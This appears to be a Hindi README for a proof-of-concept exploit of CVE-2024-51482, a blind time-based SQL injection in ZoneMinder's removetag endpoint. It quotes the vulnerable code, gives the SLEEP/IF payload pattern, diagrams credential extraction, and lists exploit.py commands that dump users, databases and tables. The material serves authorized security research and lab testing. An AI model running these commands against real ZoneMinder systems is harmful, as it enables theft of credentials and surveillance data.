
समय-आधारित SQL इंजेक्शन PoC CVE-2024-51482 के लिए ZoneMinder में, प्रतिलिपि योग्य Docker लैब और स्वचालित डेटा निष्कर्षण के साथ।
⚠️ केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए। इस उपकरण को उन प्रणालियों के विरुद्ध चलाना जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास लिखित अनुमति नहीं है, अवैध है।
इस रिपॉजिटरी में ZoneMinder को लक्षित करने वाला एक समय-आधारित SQL इंजेक्शन PoC शामिल है।
यह उपकरण अनुमति देता है:
इसमें सुरक्षित परीक्षण के लिए पूरी तरह से प्रतिलिपि प्रस्तुत करने योग्य Docker लैब भी शामिल है।
ZoneMinder एक मुफ़्त, ओपन सोर्स क्लोज्ड-सर्किट टेलीविज़न सॉफ़्टवेयर एप्लिकेशन है। यह भेद्यता ZoneMinder के removetag एंडपॉइंट में अपर्याप्त इनपुट सत्यापन से उत्पन्न होती है। उपयोगकर्ता द्वारा प्रदान किया गया इनपुट बिना उचित स्वच्छता या पैरामीटरीकरण के सीधे SQL क्वेरी में शामिल किया जाता है, जिससे हमलावर दुर्भावनापूर्ण बूलियन-आधारित SQL पेलोड इंजेक्ट कर सकते हैं। शोषण निम्नलिखित का उपयोग करता है:
SLEEP(x - IF(condition, 0, x))
प्रतिक्रिया समय के माध्यम से डेटा का अनुमान लगाने के लिए।
पूर्ण भेद्य कोड स्निपेट Github Maintainer Advisory से:
case 'removetag' :
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
if ($rowCount < 1) {
$sql = 'DELETE FROM Tags WHERE Id = ?';
$values = array($_REQUEST['tid']);
$response = dbNumRows($sql, $values);
ajaxResponse(array('response'=>$response));
}
Attacker ZoneMinder Web App
│ │
│ [Auth] │
│ POST /zm/index.php │
│ {username, password} │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 200 OK + Set-Cookie: ZMSESSID=... │ ← authenticated session
│ │
│ [CVE-2024-51482] │
│ GET /zm/index.php │
│ ?view=request&request=event │
│ &action=removetag&tid=<payload> │
│────────────────────────────────────────►│
│ SQL boolean query executed
│ IF(condition, no delay, SLEEP)
│◄────────────────────────────────────────│
│ Delayed response (timing oracle) │ ← condition inferred
│ │
│ Repeat requests │
│ ASCII(SUBSTRING(query,pos,1)) │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Timing differences reveal characters │
│ │
│ Binary search per character │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Extracted data (1 char at a time) │
│ │
│ SELECT Username, Password FROM Users │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Full database disclosure │
│ │
✓ Complete data exfiltration via blind SQLi
CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│ ├── Dockerfile
│ └── entrypoint.sh
└── logs/
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # पर्यावरण चर कॉन्फ़िगर करें
docker compose up -d
बिना किसी फ्लैग के, उपकरण लक्ष्य को प्रमाणित करेगा, इसकी भेद्यता की जांच करेगा, और यदि भेद्य है, तो zm.Users तालिका (dump-users कमांड) से ID, Username, Password, Name और Email कॉलम डंप करेगा।
python exploit.py -t http://target/zm -u <username> -p <password>
python exploit.py -h
केवल जांचता है कि लक्ष्य भेद्य है या नहीं।
python exploit.py -t http://target/zm -u <username> -p <password> check
zm.Users तालिका से ID, Username, Password, Name और Email कॉलम डंप करता है। यदि कोई कमांड निर्दिष्ट नहीं है तो यह डिफ़ॉल्ट कमांड है।
python exploit.py -t http://target/zm -u <username> -p <password> dump-users
सभी डेटाबेस सूचीबद्ध करता है।
python exploit.py -t http://target/zm -u <username> -p <password> list-db
निर्दिष्ट डेटाबेस में तालिकाओं को सूचीबद्ध करता है।
python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
निर्दिष्ट तालिका में स्तंभों को सूचीबद्ध करता है।
python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
निर्दिष्ट तालिका से सभी डेटा डंप करता है।
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>
आप डंप करने के लिए स्तंभ भी निर्दिष्ट कर सकते हैं (डिफ़ॉल्ट रूप से सभी):
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2
--no-display